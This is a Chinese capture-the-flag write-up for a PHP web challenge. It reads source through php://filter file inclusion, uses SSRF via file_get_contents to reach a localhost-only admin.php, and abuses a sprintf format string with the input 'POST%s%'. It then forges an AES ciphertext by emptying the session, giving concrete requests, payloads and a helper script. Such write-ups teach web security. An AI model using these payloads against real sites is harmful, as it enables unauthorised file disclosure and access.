标签:src image $_server 逻辑 int contents time() form cipher
经过假猪套的洗礼后,这回上来先来看包……
访问home.php
:
这个URL有东西,出现了?file
,怀疑是文件包含。
????
这我就忍不了了。
后缀都被加了fxxkyou了。有点难顶。这里仔细想一下,一开始url是:?file=system
网页回显:
那么去掉后缀试一下,成功了:
home.php?file=php://filter/read=convert.base64-encode/resource=system
也可以读到home的:
解码获得源码:
home.php:
<?php
setcookie("y1ng", sha1(md5(‘y1ng‘)), time() + 3600);//1
setcookie(‘your_ip_address‘, md5($_SERVER[‘REMOTE_ADDR‘]), time()+3600);
else{
if(preg_match("/home$/i", $_GET[‘file‘]) or preg_match("/system$/i", $_GET[‘file‘])){//3
$file = $_GET[‘file‘].".php";
}
else{
$file = $_GET[‘file‘].".fxxkyou!";
}
echo "现在访问的是 ".$file . "<br>";
require $file;
}
} else {
echo "<script>location.href=‘./home.php?file=system‘</script>";
}
来分析下:
1.setcookie
建立Session,目前意义不明。
setcookie("y1ng", sha1(md5(‘y1ng‘)), time() + 3600);//1
setcookie(‘your_ip_address‘, md5($_SERVER[‘REMOTE_ADDR‘]), time()+3600);
2.接受GET参数,开始疯狂过滤:
/\^|\~|&|\|/
:过滤了^ ~ & //.?f.?l.?a.?g.?/i
:带flag就gg/.?a.?d.?m.?i.?n.?/i
:带admin就gg/^home$/i
:不能只有home3.只有参数为file或者system的时候,会拼成xxxx.php并包含。其他的就会输出文件名+fxxkyou.
限制的很死,考虑过用pcre攻击。不过因为会逐字匹配,基本到不了回溯的那一步就gg了。
来看system.php
:
<?php
error_reporting(0);
if (!isset($_COOKIE[‘y1ng‘]) || $_COOKIE[‘y1ng‘] !== sha1(md5(‘y1ng‘))){
echo "<script>alert(‘why you are here!‘);alert(‘fxck your scanner‘);alert(‘fxck you! get out!‘);</script>";
header("Refresh:0.1;url=index.php");
die;
}
$str2 = ‘???????Error:??url invalid<br>~$ ‘;
$str3 = ‘???????Error:??damn hacker!<br>~$ ‘;
$str4 = ‘???????Error:??request method error<br>~$ ‘;
?>
<!---core代码---->
<html>
<form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
<div class="simform-inner">
<span><p><center>File Detector</center></p></span>
<ol class="questions">
<li>
<span><label for="q1">你知道目录下都有什么文件吗?</label></span>
<input id="q1" name="q1" type="text"/>
</li>
<li>
<span><label for="q2">请输入你想检测文件内容长度的url</label></span>
<input id="q2" name="q2" type="text"/>
</li>
<li>
<span><label for="q1">你希望以何种方式访问?GET?POST?</label></span>
<input id="q3" name="q3" type="text"/>
</li>
</ol>
</html>
<?php
$filter1 = ‘/^http:\/\/127\.0\.0\.1\//i‘;
$filter2 = ‘/.?f.?l.?a.?g.?/i‘;
if (isset($_POST[‘q1‘]) && isset($_POST[‘q2‘]) && isset($_POST[‘q3‘]) ) {
$url = $_POST[‘q2‘].".y1ng.txt";
$method = $_POST[‘q3‘];
$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";
echo $str1;
if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match(‘/^GET/i‘, $method) && !preg_match(‘/^POST/i‘, $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}
?>
看下逻辑:
1.对session的内容做了限制。
2.接受POST参q1,q2,q3。q2会和.y1ng.txt拼接成url。q3会传给$method
。
3.拼接成的url必须符合:
http://127.0.0.1/
不能有flag
且q3传过来的$method
必须含有GET或者POST
4.如果都pass了检测,会用file_get_contents
包含内容,用sprintf
输出。
那么这个页面要解决两个问题:
1.去掉url拼接的.y1ng.txt
带着这个后缀肯定是读不到东西,我们有两种办法绕过
1)POST:?hj=nb
这样我们构成的URL就是:
http://127.0.0.1/xxxxxxxx.php?hj=nb.y1ng.txt
这样URL就给我们所要的php传了一个子虚乌有的GET参数。不会影响我们访问页面。
2)利用锚点
http://127.0.0.1/xxxxxxxx.php#nb.y1ng.txt
锚点会指定到HTML页面中name标签为nb.y1ng.txt的元素,子虚乌有。一样可以正常访问。
那么是不是就可以直接构造了?还没完。
2.sprintf
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
认识一下这个函数sprintf
:
来分析一下:
sprintf("$url method&content_size:$method%d", $detect)
如果包含成功,$detect
存的是我们的文件内容。
然后会被当作%d
,也就是变成正负十进制数输出。那就成了乱码。
不过这个语句还会接受$method
,也就是q3的值。并且会拼到语句中。
所以得想办法利用这个点,把%d
冲掉并且变成%s
,我们才能输出。
说一种我想到的方法:
所以最简单的,q3=POST%s%
,这样语句就变成了:
sprintf("$url method&content_size:%s%%d", $detect)
--->
sprintf("$url method&content_size:%s%(已被转义)d", $detect)
$detect
会以字符串输出,就是最后会多一个%d。
最后一个问题,现在flag读不了。那么读那个页面呢?
想到home.php
出现了admin字样,那么就来读admin.php看看。
流程如下:注意需要先访问home.php,让session建立。否则直接访问system.php会报错
POST /system.php
q1=fku&q2=http://127.0.0.1/admin.php?hj=nb&q3=POST%s%
往下翻,看到admin.php
的源码:
来看下源码:
<?php
error_reporting(0);
session_start();
$f1ag = ‘f1ag{s1mpl3_SSRF_@nd_spr1ntf}‘; //fake
function aesEn($data, $key)
{
$method = ‘AES-128-CBC‘;
$iv = md5($_SERVER[‘REMOTE_ADDR‘],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
function Check()
{
if (isset($_COOKIE[‘your_ip_address‘]) && $_COOKIE[‘your_ip_address‘] === md5($_SERVER[‘REMOTE_ADDR‘]) && $_COOKIE[‘y1ng‘] === sha1(md5(‘y1ng‘)))
return true;
else
return false;
}
if ( $_SERVER[‘REMOTE_ADDR‘] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size=‘10px‘ color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER[‘REMOTE_ADDR‘];
}
$_SESSION[‘user‘] = md5($_SERVER[‘REMOTE_ADDR‘]);
if (isset($_GET[‘decrypt‘])) {
$decr = $_GET[‘decrypt‘];
if (Check()){
$data = $_SESSION[‘secret‘];
include ‘flag_2sln2ndln2klnlksnf.php‘;
$cipher = aesEn($data, ‘y1ng‘);
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die(‘爬‘);
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION[‘secret‘] = bin2hex(random_bytes($length));
}
?>
接着分析:
1.访问的IP会被加密。给了算法。
2.有Check,会检查Cookie中的ip和y1ng字段,哈希值对才能访问
2.传入GET参数decrypt
:
secret
作为$data
$data
加密,密钥为y1ng.3.如果不传GET参,会通过mt_srand
随机生成SESSION的secret
。这里用的rand(0,999999)
,基本无法爆破。
关键在于这一句:
$data = $_SESSION[‘secret‘];
$cipher = aesEn($data, ‘y1ng‘);
主要我们传了这个GET参,secret
就不是由随机数生成的。
如果$data
为空,因为给了aesEn
的算法,我们就可以构造正确的$cipher
问题是$data
怎样才能为空?SESSION为空即可,也就是删掉Cookie中的PHPSESSID.
步骤如下:
1.先来看看我们的ip是多少:
2.带着我们的ip构造密钥
<?php
function aesEn($data, $key)
{
$method = ‘AES-128-CBC‘;
$iv = md5(‘174.0.222.75‘,true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
echo aesEn(‘‘,‘y1ng‘);
?>
得到:70klfZeYC+WlC045CcKhtg==
3.访问
admin.php?decrypt=70klfZeYC%2bWlC045CcKhtg%3d%3d
然后,删掉Cookie中的PHPSESSID
注意这里面带+号,直接扔进URL会被冲掉。先Urlenode一下在传
成功获得flag:
标签:src image $_server 逻辑 int contents time() form cipher
原文地址:https://www.cnblogs.com/keelongz/p/12675070.html